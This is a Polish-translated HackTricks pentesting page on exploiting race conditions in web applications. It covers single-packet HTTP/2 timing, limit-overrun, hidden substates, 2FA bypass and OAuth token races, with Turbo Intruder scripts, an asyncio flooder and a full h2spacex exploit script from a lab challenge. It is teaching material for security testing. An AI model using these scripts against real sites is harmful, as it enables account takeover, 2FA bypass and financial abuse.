hacktricks/pentesting-web/race-condition.md

22 KiB

Warunek Wyścigu


Użyj Trickest, aby łatwo budować i automatyzować przepływy pracy zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.
Uzyskaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}

{% hint style="success" %} Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie dla HackTricks
{% endhint %}

{% hint style="warning" %} Aby uzyskać głębokie zrozumienie tej techniki, sprawdź oryginalny raport w https://portswigger.net/research/smashing-the-state-machine {% endhint %}

Zwiększanie Ataków na Warunki Wyścigu

Główną przeszkodą w wykorzystaniu warunków wyścigu jest upewnienie się, że wiele żądań jest obsługiwanych jednocześnie, z bardzo małą różnicą w czasie ich przetwarzania—najlepiej mniej niż 1ms.

Tutaj znajdziesz kilka technik synchronizacji żądań:

Atak HTTP/2 z pojedynczym pakietem vs. Synchronizacja ostatniego bajtu HTTP/1.1

  • HTTP/2: Obsługuje wysyłanie dwóch żądań przez jedno połączenie TCP, co zmniejsza wpływ jittera sieciowego. Jednak z powodu różnic po stronie serwera, dwa żądania mogą nie wystarczyć do spójnego wykorzystania warunku wyścigu.
  • HTTP/1.1 'Synchronizacja Ostatniego Bajtu': Umożliwia wstępne wysyłanie większości części 20-30 żądań, wstrzymując mały fragment, który jest następnie wysyłany razem, osiągając jednoczesne dotarcie do serwera.

Przygotowanie do Synchronizacji Ostatniego Bajtu obejmuje:

  1. Wysłanie nagłówków i danych ciała z wyjątkiem ostatniego bajtu bez kończenia strumienia.
  2. Wstrzymanie na 100ms po początkowym wysłaniu.
  3. Wyłączenie TCP_NODELAY, aby wykorzystać algorytm Nagle'a do grupowania ostatnich ramek.
  4. Pingowanie w celu rozgrzania połączenia.

Następne wysłanie wstrzymanych ramek powinno skutkować ich dotarciem w jednym pakiecie, co można zweryfikować za pomocą Wireshark. Ta metoda nie ma zastosowania do plików statycznych, które zazwyczaj nie są zaangażowane w ataki RC.

Dostosowanie do Architektury Serwera

Zrozumienie architektury celu jest kluczowe. Serwery front-end mogą różnie kierować żądania, co wpływa na czas. Wstępne rozgrzewanie połączenia po stronie serwera, poprzez nieistotne żądania, może znormalizować czas żądań.

Obsługa Blokowania Opartego na Sesji

Frameworki takie jak handler sesji PHP serializują żądania według sesji, co może zaciemniać luki. Wykorzystanie różnych tokenów sesji dla każdego żądania może obejść ten problem.

Pokonywanie Ograniczeń Częstotliwości lub Zasobów

Jeśli rozgrzewanie połączenia jest nieskuteczne, celowe wywołanie opóźnień ograniczeń częstotliwości lub zasobów serwerów WWW poprzez zalewanie ich fałszywymi żądaniami może ułatwić atak z pojedynczym pakietem, wywołując opóźnienie po stronie serwera sprzyjające warunkom wyścigu.

Przykłady Ataków

  • Tubo Intruder - atak HTTP2 z pojedynczym pakietem (1 punkt końcowy): Możesz wysłać żądanie do Turbo intruder (Extensions -> Turbo Intruder -> Send to Turbo Intruder), możesz zmienić w żądaniu wartość, którą chcesz złamać dla %s jak w csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s, a następnie wybrać examples/race-single-packer-attack.py z rozwijanej listy:

Jeśli zamierzasz wysłać różne wartości, możesz zmodyfikować kod tym, który używa listy słów z schowka:

passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

{% hint style="warning" %} Jeśli strona internetowa nie obsługuje HTTP2 (tylko HTTP1.1), użyj Engine.THREADED lub Engine.BURP zamiast Engine.BURP2. {% endhint %}

  • Tubo Intruder - atak HTTP2 z pojedynczym pakietem (Kilka punktów końcowych): W przypadku, gdy musisz wysłać żądanie do 1 punktu końcowego, a następnie wiele do innych punktów końcowych, aby wywołać RCE, możesz zmienić skrypt race-single-packet-attack.py na coś takiego:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
  • Jest również dostępne w Repeater za pomocą nowej opcji 'Wyślij grupę równolegle' w Burp Suite.
  • Dla limit-overrun możesz po prostu dodać ten sam żądanie 50 razy w grupie.
  • Dla connection warming możesz dodać na początku grupy kilka żądań do nie statycznej części serwera webowego.
  • Aby opóźnić proces między przetwarzaniem jednego żądania a drugim w 2 krokach substanu, możesz dodać dodatkowe żądania między obydwoma żądaniami.
  • Dla multi-endpoint RC możesz zacząć wysyłać żądanie, które przechodzi do ukrytego stanu, a następnie 50 żądań tuż po nim, które wykorzystują ukryty stan.
  • Zautomatyzowany skrypt python: Celem tego skryptu jest zmiana adresu e-mail użytkownika, jednocześnie weryfikując go, aż token weryfikacyjny nowego e-maila dotrze do ostatniego e-maila (to dlatego, że w kodzie widziano RC, w którym możliwe było modyfikowanie e-maila, ale weryfikacja była wysyłana na stary, ponieważ zmienna wskazująca e-mail była już wypełniona pierwszym).
    Gdy słowo "objetivo" zostanie znalezione w otrzymanych e-mailach, wiemy, że otrzymaliśmy token weryfikacyjny zmienionego e-maila i kończymy atak.
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)




# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

Raw BF

Przed wcześniejszymi badaniami były to niektóre ładunki używane, które po prostu próbowały wysłać pakiety tak szybko, jak to możliwe, aby spowodować RC.

  • Repeater: Sprawdź przykłady z poprzedniej sekcji.
  • Intruder: Wyślij żądanie do Intruder, ustaw liczbę wątków na 30 w menu Opcje, wybierz jako ładunek Null payloads i wygeneruj 30.
  • Turbo Intruder
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
  • Python - asyncio
import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

RC Methodology

Limit-overrun / TOCTOU

To najprostszy typ warunków wyścigu, gdzie vulnerabilities pojawiają się w miejscach, które ograniczają liczbę razy, kiedy możesz wykonać akcję. Na przykład używanie tego samego kodu rabatowego w sklepie internetowym kilka razy. Bardzo łatwy przykład można znaleźć w tym raporcie lub w tym błędzie.

Istnieje wiele wariantów tego rodzaju ataku, w tym:

  • Wykorzystanie karty podarunkowej wiele razy
  • Ocena produktu wiele razy
  • Wypłacanie lub transferowanie gotówki przekraczającej saldo konta
  • Ponowne użycie jednego rozwiązania CAPTCHA
  • Ominięcie limitu szybkości anty-brute-force

Hidden substates

Wykorzystywanie złożonych warunków wyścigu często polega na wykorzystaniu krótkich okazji do interakcji z ukrytymi lub niezamierzonymi substancjami maszyny. Oto jak podejść do tego:

  1. Zidentyfikuj potencjalne ukryte substany
  • Zacznij od wskazania punktów końcowych, które modyfikują lub interagują z krytycznymi danymi, takimi jak profile użytkowników lub procesy resetowania hasła. Skup się na:
  • Przechowywaniu: Preferuj punkty końcowe, które manipulują danymi trwałymi po stronie serwera, zamiast tych obsługujących dane po stronie klienta.
  • Akcji: Szukaj operacji, które zmieniają istniejące dane, które są bardziej prawdopodobne do stworzenia warunków do wykorzystania w porównaniu do tych, które dodają nowe dane.
  • Kluczowaniu: Udane ataki zazwyczaj obejmują operacje kluczowane na tym samym identyfikatorze, np. nazwa użytkownika lub token resetowania.
  1. Przeprowadź wstępne badania
  • Testuj zidentyfikowane punkty końcowe za pomocą ataków warunków wyścigu, obserwując wszelkie odchylenia od oczekiwanych wyników. Nieoczekiwane odpowiedzi lub zmiany w zachowaniu aplikacji mogą sygnalizować lukę.
  1. Zademonstruj lukę
  • Zawęż atak do minimalnej liczby żądań potrzebnych do wykorzystania luki, często tylko dwóch. Ten krok może wymagać wielu prób lub automatyzacji z powodu precyzyjnego czasu.

Ataki wrażliwe na czas

Precyzja w czasowaniu żądań może ujawnić luki, szczególnie gdy przewidywalne metody, takie jak znaczniki czasu, są używane do tokenów zabezpieczających. Na przykład generowanie tokenów resetowania hasła na podstawie znaczników czasu może pozwolić na identyczne tokeny dla równoczesnych żądań.

Aby wykorzystać:

  • Użyj precyzyjnego czasowania, jak atak jednego pakietu, aby złożyć równoczesne żądania resetowania hasła. Identyczne tokeny wskazują na lukę.

Przykład:

  • Zażądaj dwóch tokenów resetowania hasła w tym samym czasie i porównaj je. Pasujące tokeny sugerują błąd w generowaniu tokenów.

Sprawdź to PortSwigger Lab aby to wypróbować.

Przykłady studiów przypadków ukrytych substancji

Zapłać i dodaj przedmiot

Sprawdź to PortSwigger Lab, aby zobaczyć, jak zapłacić w sklepie i dodać dodatkowy przedmiot, za który nie będziesz musiał płacić.

Potwierdź inne e-maile

Pomysł polega na zweryfikowaniu adresu e-mail i jednoczesnej zmianie go na inny, aby sprawdzić, czy platforma weryfikuje nowy zmieniony.

Zmień e-mail na 2 adresy e-mail oparte na ciasteczkach

Zgodnie z tym badaniem Gitlab był podatny na przejęcie w ten sposób, ponieważ mógł wysłać token weryfikacji e-maila jednego e-maila do drugiego e-maila.

Sprawdź to PortSwigger Lab aby to wypróbować.

Ukryte stany bazy danych / Ominięcie potwierdzenia

Jeśli używane są 2 różne zapisy, aby dodać informacje do bazy danych, istnieje mały okres czasu, w którym tylko pierwsze dane zostały zapisane w bazie danych. Na przykład, podczas tworzenia użytkownika nazwa użytkownika i hasło mogą być zapisane, a następnie token do potwierdzenia nowo utworzonego konta jest zapisywany. Oznacza to, że przez krótki czas token do potwierdzenia konta jest pusty.

Dlatego rejestrowanie konta i wysyłanie kilku żądań z pustym tokenem (token= lub token[]= lub jakakolwiek inna wariacja) w celu natychmiastowego potwierdzenia konta mogłoby pozwolić na potwierdzenie konta, nad którym nie masz kontroli nad e-mailem.

Sprawdź to PortSwigger Lab aby to wypróbować.

Ominięcie 2FA

Poniższy pseudokod jest podatny na warunki wyścigu, ponieważ w bardzo krótkim czasie 2FA nie jest egzekwowane, podczas gdy sesja jest tworzona:

session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

OAuth2 wieczna trwałość

Istnieje kilka dostawców OAUth. Te usługi pozwalają na stworzenie aplikacji i uwierzytelnienie użytkowników, których dostawca zarejestrował. Aby to zrobić, klient musi zezwolić twojej aplikacji na dostęp do niektórych swoich danych w ramach dostawcy OAUth.
Do tego momentu to tylko zwykłe logowanie za pomocą google/linkedin/github... gdzie pojawia się strona z komunikatem: "Aplikacja <InsertCoolName> chce uzyskać dostęp do twoich informacji, czy chcesz to umożliwić?"

Warunek wyścigu w authorization_code

Problem pojawia się, gdy zaakceptujesz to i automatycznie wysyła authorization_code do złośliwej aplikacji. Następnie ta aplikacja nadużywa Warunku Wyścigu w usłudze OAUth, aby wygenerować więcej niż jeden AT/RT (Token Uwierzytelniający/Token Odświeżający) z authorization_code dla twojego konta. Zasadniczo nadużyje faktu, że zaakceptowałeś aplikację, aby uzyskać dostęp do swoich danych, aby utworzyć kilka kont. Następnie, jeśli przestaniesz zezwalać aplikacji na dostęp do swoich danych, jedna para AT/RT zostanie usunięta, ale pozostałe będą nadal ważne.

Warunek wyścigu w Refresh Token

Gdy uzyskasz ważny RT, możesz spróbować nadużyć go, aby wygenerować kilka AT/RT i nawet jeśli użytkownik anuluje uprawnienia dla złośliwej aplikacji do uzyskania dostępu do jego danych, kilka RT nadal będzie ważnych.

RC w WebSockets

W WS_RaceCondition_PoC możesz znaleźć PoC w Javie do wysyłania wiadomości websocket w równoległych w celu nadużycia Warunków Wyścigu również w Web Sockets.

Referencje

{% hint style="success" %} Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie dla HackTricks
{% endhint %}


Użyj Trickest, aby łatwo budować i automatyzować przepływy pracy zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.
Uzyskaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}